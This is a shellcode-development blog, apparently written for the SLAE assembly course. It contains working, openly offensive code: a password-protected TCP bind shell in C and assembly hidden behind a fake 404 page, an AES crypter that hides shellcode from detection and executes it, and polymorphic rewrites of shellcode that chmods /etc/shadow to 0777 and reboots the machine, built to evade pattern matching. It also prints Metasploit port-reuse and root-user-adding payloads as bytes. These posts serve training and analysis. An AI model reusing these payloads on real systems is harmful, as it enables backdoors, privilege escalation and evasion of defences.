Pages

Showing posts with label shellcode. Show all posts
Showing posts with label shellcode. Show all posts

Sunday, August 4, 2013

Bind TCP Shellcode - with password

 As with the bind TCP shellcode, I've first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections, prints a prompt message, reads some input and spawns a new shell if the input is equal to the password:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>

/* receiving password buffer size */
#define     BUFSIZE      10

/* Listening port */
#define     PORT         8585

/* Password prompt */
char prompt[] =  \
    "<html>\n"
    "<body>\n"
    " <h1>Error 404 - Try elsewhere</h1>\n"
    "\n" 
    "</body>\n"
    "</html>\n";

char password[] = "s3cr37";

int main() {
    int listenfd = 0, connfd = 0;    
    int ret = 0;
    char buffer[BUFSIZE];

    struct sockaddr_in serv_addr;

    // Create an un-named socket. returns socket descriptor
    listenfd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(PORT);

    bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));

    // Listen on the created socket for maximum 1 client connection
    listen(listenfd, 1);

    // Sleep waiting for client requests
    connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
    printf("Created accept socket: %d\n", connfd);

    // Send fake prompt and wait for the password
    ret = send(connfd, prompt, strlen(prompt), 0); 
    if (-1 == ret) {
        printf("Send failed: %s\n", strerror(errno));
        return 1;
    }

    // Read password
    ret = recv(connfd, buffer, BUFSIZE, 0);
    if (-1 == ret) {
        printf("Recv failed: %s\n", strerror(errno));
        return 1;
    } else {
        printf("Received: %s", buffer);
    }

    // Compare
    if (!strncmp(buffer, password, strlen(password))){
        printf("Correct password. Opening shell...\n");    
    } else {
        close(listenfd);
        close(connfd);
        return 1;
    }

    // Duplicate stdin, stdout, stderr
    ret = dup2(connfd, 0);
    if (-1 == ret) {
        printf("STDIN duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 1);
    if (-1 == ret) {
        printf("STDOUT duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 2);
    if (-1 == ret) {
        printf("STDERR duplication failed: %s\n", strerror(errno));
        return 1;
    }

    // Replace process image
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;      // Needs to ne a NULL terminated list of args

    ret = execve(args[0], args, NULL);
    if (-1 == ret) {
        printf("Execve failed: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}
If we supply the correct password we get the shell:
$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
$ ./shell_bind_tcp_passw  &
[1] 4528
Created accept socket: 5
Received: s3cr37
ลน� Correct password. Opening shell...
$ nc -nvv 192.168.56.1 8585
(UNKNOWN) [192.168.56.1] 8585 (?) open


Error 404 - Try elsewhere

s3cr37 whoami liv

The next step is to reproduce these system calls in assembly and get the shellcode. This is easy to do, if we start from the previous TCP bind shellcode and add a recv call and compare input:
global _start   

section .text
_start:

    ; Linux Syscall Reference
    ; http://syscalls.kernelgrok.com/


    ; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    push ecx        ; NULL terminate args list
    mov cl, 6       ; IPPROTO_TCP (6)
    push ecx
    xor ecx, ecx
    mov cl, 1       ; SOCK_STREAM (1) - in socket.h
    push ecx
    xor ecx, ecx
    mov cl, 2       ; PF_INET (2) - IP PROTO FAMILY
    push ecx
    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 1       ; socketcall type of call: SYS_SOCKET (1) 
    push 102
    pop eax         ; socketcall syscall
    int 0x80
    mov edx, eax    ; listenfd is returned in eax. Save into edx    

    ; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
    ;       sin_addr=inet_addr("0.0.0.0")}, 16)
    ;struct sockaddr_in {
    ;    short            sin_family;   // e.g. AF_INET, AF_INET6
    ;    unsigned short   sin_port;     // e.g. htons(3490)
    ;    struct in_addr   sin_addr;     // see struct in_addr, below
    ;    char             sin_zero[8];  // zero this if you want to
    ;};
    ;struct in_addr {
    ;    unsigned long s_addr;          // load with inet_pton()
    ;};
    xor ecx, ecx    ; Construct sockaddr structure on the stack
    push ecx        ; inet_addr - 0.0.0.0 - INADDR_ANY
    push word 0x8921; 16 bits - port number (8585 decimal)
    push word 2     ; family - AF_INET (2)
    mov ecx, esp    ; pointer to args

    push byte 0x10  ; Address length - 16 bytes
    push ecx        ; Pointer to sockaddr_in structure
    push edx        ; listenfd from socket call

    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 2       ; socketcall type of call: SYS_BIND (2)
    xor eax, eax
    mov al, 102     ; socketcall syscall
    int 0x80

    ; 3. listen(listenfd, 1)
    push 1          ; max connections
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 4
    pop ebx         ; SYS_LISTEN (4)
    push 102
    pop eax         ; socketcall syscall
    int 0x80
 
    ; 4. accept(listenfd, 0, NULL) = connfd
    xor ecx, ecx
    push ecx        ; NULL
    push ecx        ; 0
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 5
    pop ebx         ; SYS_ACCEPT = 5
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax
    mov edx, eax    ; save new connection descriptor

    ; 5. recv(connfd, buffer, BUFSIZE, 0)
    ; recv(int sockfd, void *buf, size_t len, int flags);
    xor ecx, ecx    
    push   ecx      ; flags (0)
    push   0xa      ; buffer size
    lea    ecx, [esp + 8]
    push   ecx      ; addres of buffer
    mov edi, ecx    ; save address of buffer for further comparison
    push   edx      ; sockfd
    mov    ecx, esp ; ECX - params of socket call    
    push 10
    pop ebx         ; EBX - type of socketcall - SYS_RECV (10)
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax


    ; 6. compare password
 mov ecx, 6      ; passwd len
    ; pass: s3cr37 - 73 33 63 72 33 37 
    push 0xAAAA3733
    push 0x72633373
 mov esi, esp
    ; address of buffer is already saved in edi
 repe cmpsb
 jz correct_pass
    
    ; exit()
    xor eax, eax
 mov al, 1
 xor ebx, ebx
    mov bl, 7
 int 0x80

correct_pass:
    ; 7. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
    push 2
    pop ecx         ; ecx - newfd
    mov ebx, edx    ; edx - connfd, ebx - oldfd
    dup_loop:
    mov al, 63      ; dup2 syscall
    int 0x80
    dec ecx
    jns dup_loop    ; exit when signed (-1)
      
    ; 8. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
 ; PUSH the first null dword 
 xor eax, eax
 push eax

    ; PUSH //bin/sh (8 bytes) 
 push 0x68732f2f ; 'hs//'
 push 0x6e69622f ; 'nib/
 mov ebx, esp    ; EBX - 1st param - NULL terminated filename

 push eax        ; EDX - 3rd param - NULL terminated list of env variables
 mov edx, esp    ; NULL terminator must be set before setting the 2nd param!

 push ebx        ; ECX - 2nd param - array of argument strings
 mov ecx, esp

 mov al, 11      ; execve syscall
 int 0x80



The complete source files, wrapper script and test shellcode can be found in  a git repository at:
SLAE


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
    

AES Shellcode crypter

This is the last assignment of SLAE: building a shellcode crypter. Thanks Vivek and the team at SecurityTube for the course!
  • I  chose to do the encryption using python-crypto library. I used AES-128, in CBC mode with PKCS5 padding
  • I did the decryption of the shellcode using the easily integrable PolarSSL AES source code
The encryption password is provided on the command line, then the python script hard-codes it in the decrypter and builds it. For exemplify I've used the execve-stack shellcode:
$ ./encrypt_payload_polar.py 
Usage:
    ./encrypt_payload_polar.py [passphrase]
    
$ ./encrypt_payload_polar.py s3cr37
[+] Shellcode (len 32):
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
[+] Key:
"\xe8\xca\xa8\xd3\x69\x22\xbe\x22\xf3\x2e\x08\x30\x11\xc0\xef\xbc"
[+] IV:
"\x07\xb0\x24\x02\x5b\x00\x68\xfc\x34\x30\x5e\x42\x64\x24\x39\x99"
[+] Encrypted shellcode (len 134): 
"\x0d\x18\x30\xe5\xca\x14\x13\x3d\x5e\xb2\xfa\xeb\x60\x1d\x51\x9b"
"\x24\x74\x64\xd7\x17\x9f\x32\xdf\xbf\x36\xf4\x91\x9c\x03\x09\xfb"
[+] Compiling:
 -> gcc -Wall -z execstack -o encrypted_shellcode temp.c PolarSSL/aes.c PolarSSL/md5.c
 -> strip --strip-all encrypted_shellcode
 -> rm temp.c
[*] Done.
$ ./encrypted_shellcode 
#

 The encrypter/decrypter uses the password to generate a 128 bits key, by hashing the password.
The PolarSSL is extremely easy to integrate and use, compared with the OpenSSL, and the generated binary is also much smaller as only AES and MD5 functions are linked in. Here's a snippet of the decrypter code that does the main bits:
    unsigned char key[16];
    unsigned char iv[16] = 
"\xb4\x9d\x64\x10\xa8\x3b\x1b\xa9\x29\xc4\x4b\x09\xfe\x2c\xd3\x56";

    unsigned char input[] = 
"\x24\x06\xa6\xe4\x5d\xc4\xc0\x0e\x36\x7d\x05\x5a\xfe\xc1\x07\x0c"
"\x31\x48\xef\x06\x0f\x09\x84\x98\x03\x3e\x04\x1e\x08\x6d\xb2\xe3";
    size_t input_len = 32;
    unsigned char output[32];

    unsigned char passw[] = "s3cr37";
    size_t in_len = 6;

    /* Generate a 128 bits key from the password */
    md5_context md5_ctx;
    md5_starts(&md5_ctx);
    md5_update(&md5_ctx, passw, in_len);
    md5_finish(&md5_ctx, key);

    /* Decrypt the payload */
    aes_context aes;
    aes_setkey_dec(&aes, key, 128);
    aes_crypt_cbc(&aes, AES_DECRYPT, input_len, iv, input, output);

    /* Execute decrypted shellcode */
    ((void (*)()) output)();


The python script uses a template of the decrypter and fills in the encrypted shellcode, the lengths, IV and key and then generates the encrypted binary. Below is a snippet of the main function:
def make_binary(password):
    sc_len = len(pad(shellcode))
    print_done("[+] Shellcode (len %d):" % (sc_len))
    print "%s" % (to_hex(shellcode))

    # Generate a secret key and random IV
    h = MD5.new()

    h.update(password)
    key = h.digest()
    str_key = to_hex(key)
    print_done("[+] Key:")
    print "%s" % str_key

    # Generate random IV
    iv = os.urandom(BS)
    str_iv = to_hex(iv) #"\"%s\"" % "".join(["\\x%02x" % ord(c) for c in iv])
    print_done("[+] IV:")
    print "%s" % str_iv

    # Create a cipher object using the random secret
    cipher = AES.new(key, AES.MODE_CBC, iv)

    enc = cipher.encrypt(pad(shellcode))
    str_enc = to_hex(enc)
    print_done("[+] Encrypted shellcode (len %d):" % (len(str_enc)))
    print "%s" % (str_enc)

    outline = open(decrypt_shell).read()
    code = outline % (str_iv, str_enc, sc_len, sc_len, password, len(password))

    # Write to temporary source file
    o = open(temp_src, "w")
    o.write(code)
    o.close()

    # Compile
    compile_cmd = "gcc -Wall -z execstack -o %s %s PolarSSL/aes.c PolarSSL/md5.c" % \
       (out_file, temp_src)
    print_done("[+] Compiling:") 
    print " -> %s" % compile_cmd
    os.system(compile_cmd)


    # Strip all symbols
    strip_cmd = "strip --strip-all %s" % (out_file)
    print " -> %s" % (strip_cmd)
    os.system(strip_cmd)

    # Delete intermediate files
    clean_cmd = "rm %s" % (temp_src)
    print " -> %s" % (clean_cmd)
    os.system(clean_cmd)

    print_ok("\n[*] Done. Run ./%s" % (out_file))

The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449

Polymorphic shellcodes

 For this assignment I've taken 3 shellcodes from  Shell-Storm and modify them to avoid pattern matching. Some techniques I've used to do this:
  • Add garbage/nop-like instructions
    nop
    
    mov al,al  
    mov bl,bl  
    mov cl,cl  
    ...  
    mov ax,ax  
    mov bx,bx  
    mov cx,cx  
    ...  
    xchg ax,ax  
    xchg bx,bx  
    xchg cx,cx  
    ...  
    lea eax, [eax + 0x00]  
    lea eax, [eax + 0x00]  
    lea eax, [eax + 0x00]  
    
  • Add instructions without effect (e.g.: modify registers that don't affect the execution flow)
  • Switch between mov, (push + pop), (clear + add)
    mov push + pop clear + add
    mov al, 0xb push byte 0xb xor eax, eax
    pop eax add al, 0xb
  • Switch between push and (mov + add + push)
    push mov + add + push
    push 0x23456789 mov esi, 0x12345678
    add esi, 0x11111111
    push esi
  • Change between push and directly accessing the stack
    push stack access
    push 0x64777373 mov dword [esp-4], 0x64777373
    sub esp, 4

Execve()

First one is a polymorphic version of the execve() of the following shellcode:
    00000000  31C0              xor eax,eax
    00000002  31DB              xor ebx,ebx
    00000004  31C9              xor ecx,ecx
    00000006  B017              mov al,0x17
    00000008  CD80              int 0x80
    0000000A  31C0              xor eax,eax
    0000000C  50                push eax
    0000000D  686E2F7368        push dword 0x68732f6e
    00000012  682F2F6269        push dword 0x69622f2f
    00000017  89E3              mov ebx,esp
    00000019  8D542408          lea edx,[esp+0x8]
    0000001D  50                push eax
    0000001E  53                push ebx
    0000001F  8D0C24            lea ecx,[esp]
    00000022  B00B              mov al,0xb
    00000024  CD80              int 0x80
    00000026  31C0              xor eax,eax
    00000028  B001              mov al,0x1
    0000002A  CD80              int 0x80
And my changed version :
    xor eax,eax
    mov ebx, eax            ; xor ebx,ebx
    mov ecx, ebx            ; xor ecx,ecx
    push 0x17               ; mov al,0x17
    pop ax
    xchg ecx, ecx           ; NOP added
    int 0x80                ; sys_setuid()

    xor eax,eax
    push eax
    mov dword [esp-4], 0x68732f6e ; push dword 0x68732f6e
    mov dword [esp-8], 0x69622f2f ; push dword 0x69622f2f
    sub esp, 8             ; increase the stack pointer
    mov ebx,esp
    lea edx,[esp+0x8]
    push eax
    push ebx
    lea ecx,[esp]
    mov al,0xb
    xor esi, esi            ; NOP added
    lea eax, [eax + esi]    ; NOP added
    int 0x80                ; execve()

    xor eax,eax
    mov al,0x1
    int 0x80                ; exit()

I've changed how registers are zeroed and how values were pushed on the stack and added some instructions with no effect.

Chmod /etc/shadow

 The next shellcode changes the permissions of /etc/shadow file:
xor    %eax,%eax
push   %eax
pushl  $0x776f6461
pushl  $0x68732f2f
pushl  $0x6374652f
movl   %esp,%esi
push   %eax
pushl  $0x37373730
movl   %esp,%ebp
push   %eax
pushl  $0x646f6d68
pushl  $0x632f6e69
pushl  $0x622f2f2f
mov    %esp,%ebx
pushl  %eax
pushl  %esi
pushl  %ebp
pushl  %ebx
movl   %esp,%ecx
mov    %eax,%edx
mov    $0xb,%al
int    $0x80
And my changed version:
    xor eax,eax
    push eax
    push dword 0x776f6461
    mov esi, 0x56611d1d         ; push dword 0x68732f2f
    lea edi, [esi]              ; junk
    add esi, 0x12121212
    push esi
    push dword 0x6374652f       ; '/etc/shadow'
    mov esi,esp
    push eax
    push dword 0x37373730       ; 0777
    mov ebp,esp
    push eax
    push dword 0x646f6d68
    mov edi, 0x030f0e09         ; push dword 0x632f6e69       
    add edi, 0x60206060
    push edi
    push word 0x622f            ; /bin/chmod
    mov ebx,esp
    push eax
    push esi
    push ebp
    push ebx
    mov ecx,esp
    mov edx,eax
    xor eax, eax                ; mov al,0xb
    add al, 0xa
    add al, 0x1
    xchg ecx, ecx               ; NOP added
    int 0x80


Reboot

Last one is a reboot shellcode:
8048054:       31 c0                   xor    %eax,%eax
8048056:       50                      push   %eax
8048057:       68 62 6f 6f 74          push   $0x746f6f62
804805c:       68 6e 2f 72 65          push   $0x65722f6e
8048061:       68 2f 73 62 69          push   $0x6962732f
8048066:       89 e3                   mov    %esp,%ebx
8048068:       50                      push   %eax
8048069:       89 e2                   mov    %esp,%edx
804806b:       53                      push   %ebx
804806c:       89 e1                   mov    %esp,%ecx
804806e:       b0 0b                   mov    $0xb,%al
8048070:       cd 80                   int    $0x80
And my modified version:
    xor eax,eax
    push eax
    push dword 0x746f6f62
    mov edi, 0x05020f0e      ; push dword 0x65722f6e
    add edi,0x60702060
    push edi
    push dword 0x6962732f    ; /sbin/reboot
    mov ebx,esp
    push eax
    mov edx,esp
    push ebx
    mov ecx,esp
    push 0xa
    pop eax
    add al, 1                ; mov al,0xb
    int 0x80

The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449

Metasploit Linux shell_find_port shellcode

This post is part of the 5th assignment of the SLAE course and will analyse a Metasploit socket reuse shellcode: linux/x86/shell_find_port.
I've started by analysing this payload:
# msfpayload linux/x86/shell_find_port S

       Name: Linux Command Shell, Find Port Inline
     Module: payload/linux/x86/shell_find_port
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 169
       Rank: Normal

Provided by:
  Ramon de C Valle <rcvalle metasploit.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
CPORT  60957            no        The local client port

Description:
  Spawn a shell on an established connection
So this is actually a port reuse shellcode: it will search for an already established connection (based on the local client port specified in CPORT variable) and spawn a shell over that connection. Nice! There is a great description of how this payload functions at BlachatLibrary.
Basically to test this payload we'll need:
  • A server that listens for connections and also executes payloads 
  • A client that will establish a connection with the server from a fixed local port, then send our metasploit shellcode.
For this we'll use the socket-loader.c and socket-reuse-send.c from BlackhatLibrary.
We'll first compile and start the server:
$ gcc -Wall -o socket-loader socket-loader.c 
$ ./socket-loader 7001
Then generate the metasploit payload and integrate it into the socket-reuse-send source file:
# msfpayload linux/x86/shell_find_port CPORT=4444 C
/*
 * linux/x86/shell_find_port - 62 bytes
 * http://www.metasploit.com
 * VERBOSE=false, CPORT=4444, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff"
"\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x11\x5c\x75\xf1\x5b"
"\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80";

# gcc -Wall -o socket-reuse-send socket-reuse-send.c 
The syntax for client is as follows:
 ./socket-reuse-send <server_ip> <server_port> <client_ip> <local_client_port>
So the next line will connect to the server listening on port 7001 and send the payload generated earlier from the local port 4444. The payload will then be executed by the server and we'll get a shell:
# ./socket-reuse-send 192.168.56.1 7001 192.168.56.101 4444
 [*] Connecting to 192.168.56.1
 [*] Sending payload
whoami
liv
So the payload is working as expected, now onto analysis. We'll first try to use the sctest binary from libemu:
# msfpayload linux/x86/shell_find_port CPORT=4444 R > shellcode.bin
$ cat shellcode.bin | /opt/libemu/bin/sctest -vvv -S -s 1000 -G shellcode.dot
$ dot shellcode.dot -T png -o shellcode.png
shell_find_port shellcode

 This way we can get a feeling about how this shellcode is functioning. As we'll see later, there is a final piece missing from the picture, because the sctest emulator is not leaving the loop (marked with red arrows).
We'll use a disassembler to examine all the instructions:
$ echo -ne "\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x11\x5c\x75\xf1\x5b\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" | ndisasm -b 32 -
First operation done by a server is, as seen in the picture, to execute getpeername in a loop. This will try to obtain information about a peer connected to a specific file descriptor.
int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  89E7              mov edi,esp
00000005  6A10              push byte +0x10     ;  addrlen
00000007  54                push esp            ; *addrlen
00000008  57                push edi            ; *addr
00000009  53                push ebx            ; sockfd to search
0000000A  89E1              mov ecx,esp
0000000C  B307              mov bl,0x7          ; int call - SYS_GETPEERNAME (7)
getpeername_loop:
0000000E  FF01              inc dword [ecx]     ; increment fd to be checked
00000010  6A66              push byte +0x66     ; sys_socketcall
00000012  58                pop eax
00000013  CD80              int 0x80
The next part we'll check for a specific condition for any file descriptor found: it will verify the source port and if it's different than 4444 we'll increment the file descriptor and re-execute the loop:
; 115c(hex) = 4444 (dec)
; compare port
; struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};
00000015  66817F02115C      cmp word [edi+0x2],0x5c11
; if not, jump to getpeername_loop
0000001B  75F1              jnz 0xe
In case a connection was found with the source port equal to 4444, it will execute in a loop 3 dup2 calls, and duplicate stdin, stdout and stderr to the found file descriptor:
0000001D  5B                pop ebx         ; old fd parameter;  
0000001E  6A02              push byte +0x2  ; 
00000020  59                pop ecx         ; new fd
dup2_loop:
00000021  B03F              mov al,0x3f     ; sys_dup2 syscall
00000023  CD80              int 0x80
00000025  49                dec ecx
00000026  79F9              jns 0x21        ; if not -1, jump to dup2_loop label
The final piece of the shellcode executes /bin/sh:
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f   ; 'hs//'
0000002E  682F62696E        push dword 0x6e69622f   ; 'nib/'
00000033  89E3              mov ebx,esp     ; '/bin/sh\x00'
00000035  50                push eax
00000036  53                push ebx
00000037  89E1              mov ecx,esp     ; address of the parameters array
00000039  99                cdq
0000003A  B00B              mov al,0xb      ; sys_execve
0000003C  CD80              int 0x80
The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
 

Metasploit Linux adduser shellcode analysis

This post is part of the 5th assignment of the SLAE course and will analyse the Metasploit linux/x86/adduser shellcode.
First let's generate the shellcode:
# msfpayload linux/x86/adduser USER=jsmith PASS=ok  C
This will generate a payload that will create a new root user, with uid and gid equal to 0.
/*
 * linux/x86/adduser - 93 bytes
 * http://www.metasploit.com
 * VERBOSE=false, PrependSetresuid=false, 
 * PrependSetreuid=false, PrependSetuid=false, 
 * PrependSetresgid=false, PrependSetregid=false, 
 * PrependSetgid=false, PrependChrootBreak=false, 
 * AppendExit=false, USER=jsmith, PASS=ok, SHELL=/bin/sh
 */
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x6a\x73"
"\x6d\x69\x74\x68\x3a\x41\x7a\x2e\x54\x4f\x53\x72\x67\x72\x4d"
"\x36\x72\x6f\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01"
"\x58\xcd\x80";
To test it, I've integrated the shellcode into a C skeleton file and run against a Linux box:
# cat /etc/passwd | grep jsmith
# ./shellcode
Shellcode Length:  40 bytes
# cat /etc/passwd | grep jsmith
jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh
# su jsmith
# id
uid=0(root) gid=0(root) groups=0(root)
As we can see, the new root user was successfully created. Next I continued to disassemble it:
$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x6a\x73\x6d\x69\x74\x68\x3a\x41\x7a\x2e\x54\x4f\x53\x72\x67\x72\x4d\x36\x72\x6f\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" |ndisasm -b 32 -
Firstly, the shellcode restores the privileges, in case the running process would have dropped them:
00000000  31C9              xor ecx,ecx             ; Effective user id - 0
00000002  89CB              mov ebx,ecx             ; Real user id - 0
00000004  6A46              push byte +0x46         ; sys_setreuid16 syscall number
00000006  58                pop eax                 ; Sets real and effective user id
00000007  CD80              int 0x80                ; Fire the interrupt
Next, it will open the /etc/passwd file. The flags for opening the file will be set to 0x00000401: O_WRONLY|O_APPEND. (Note1: the mode for opening the file, which should have been in EDX register, is not specified because it is ignored for O_CREAT flag not specified):
00000009  6A05              push byte +0x5
0000000B  58                pop eax                 ; Prepare eax for sys_open syscall
0000000C  31C9              xor ecx,ecx             ; Set ecx to 0 
0000000E  51                push ecx                ; Push 0 to act as a null terminator
0000000F  6873737764        push dword 0x64777373   ; 'dwss'
00000014  682F2F7061        push dword 0x61702f2f   ; 'ap//'
00000019  682F657463        push dword 0x6374652f   ; 'cte/'
0000001E  89E3              mov ebx,esp             ; Filename: '/etc//passwd'
00000020  41                inc ecx  
Note2: the open syscall and the parameters can also be easily viewed using strace program:
# strace ./shellcode
. . . 
open("/etc//passwd", O_WRONLY|O_APPEND) = 3 
The next part will write the "jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh\n" string to it (username and encrypted password):
00000025  93                xchg eax,ebx
00000026  E824000000        call dword 0x4f
; String starts  here -->
; jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh\n
0000002B  6A73              push byte +0x73
0000002D  6D                insd
0000002E  6974683A417A2E54  imul esi,[eax+ebp*2+0x3a],dword 0x542e7a41
00000036  4F                dec edi
00000037  53                push ebx
00000038  7267              jc 0xa1
0000003A  724D              jc 0x89
0000003C  36726F            ss jc 0xae
0000003F  3A30              cmp dh,[eax]
00000041  3A30              cmp dh,[eax]
00000043  3A3A              cmp bh,[edx]
00000045  2F                das
00000046  3A2F              cmp ch,[edi]
00000048  62696E            bound ebp,[ecx+0x6e]
0000004B  2F                das
0000004C  7368              jnc 0xb6
0000004E  0A. |--> String ends here
We then have to disassemble the instructions starting after the end of string (easily done in gdb):
00000051  51                push ecx
00000052  FC                cld
00000053  6A04              push byte +0x4
00000055  58                pop eax         ; sys_write syscall
00000056  CD80              int 0x80
; write(3, "jsmith:Az.TOSrgrM6ro:0:0::/:/bin"..., 36) = 36
Finally the shellcode calls the exit function to cleanly finish execution:
00000058  6A01              push byte +0x1
0000005A  58                pop eax         ; sys_exit syscall
0000005B  CD80              int 0x80

The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
 

Sunday, December 5, 2010

"Hello, World!" first shellcode - Part 1

Simple C program to print "Hello, World!". Compiled with gcc version 3.3.6 on Ubuntu 7.04

#include <stdio.h>

char SHELLCODE[]="\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"
                 "\xb2\x0f\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff"
                 "\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72"
                 "\x6c\x64\x21\x0a\x0d";

typedef void (*func_ptr)();

int main() {
    func_ptr f = (func_ptr)SHELLCODE;
    f();
}
To compile the source:
$ gcc my_shellcode.c
$ ./a.out 
Hello, world!
The char array represents position-independent instructions, that, when injected into a process, will be executed. But where did that came from?  Here's an .asm source to generate position-independent code that prints something:
BITS 32             ; tell nasm this is 32-bit code

jmp short one       ; jump down to a call at the end

two:
; ssize_t write(int fd, const void *buf, size_t count);
  pop ecx           ; pop the return address (string ptr) into ecx
  xor eax, eax      ; zero out full 32-bits of eax register
  mov al, 4         ; write syscall #4 to the low byte of eax
  xor ebx, ebx      ; zero out ebx
  inc ebx           ; increment ebx to 1, STDOUT file descriptor
  xor edx, edx
  mov dl, 15        ; length of the string
  int 0x80          ; do syscall: write(1, string, 14)

; void _exit(int status);
  mov al, 1        ; exit syscall #1, the top 3 bytes are still zeroed
  dec ebx          ; decrement ebx back down to 0 for status = 0   
  int 0x80         ; do syscall:  exit(0)

one:
  call two   ; call back upwards to avoid null bytes
  db "Hello, world!", 0x0a, 0x0d  ; with newline and carriage return bytes

Some things to pay attention to:
  • the jmp technique with 2 labels (the call in the second label will jump back, will avoid \x00 bytes)
  • xor eax, eax, to zero a register (xor instruction does not modify the flags registry, so it's better than something like for example sub eax, eax that also clears eax.)
  • inc, dec,  instructions that take less machine bytes than mov, so the size of the shellcode  is reduced
  • system calls number can be found in /usr/include/asm-i386/unistd.h (found out with find command ls /usr/include/ -name "*.h" |xargs grep execve , for example)
The asm source cannot be linked into an elf executable. But it can be compiled into machine instructions:
$ nasm shell.asm
$ hexdump -C shell
$ ndisasm shell
The output shows the actual machine code, interpreted as instructions. 
To be continued..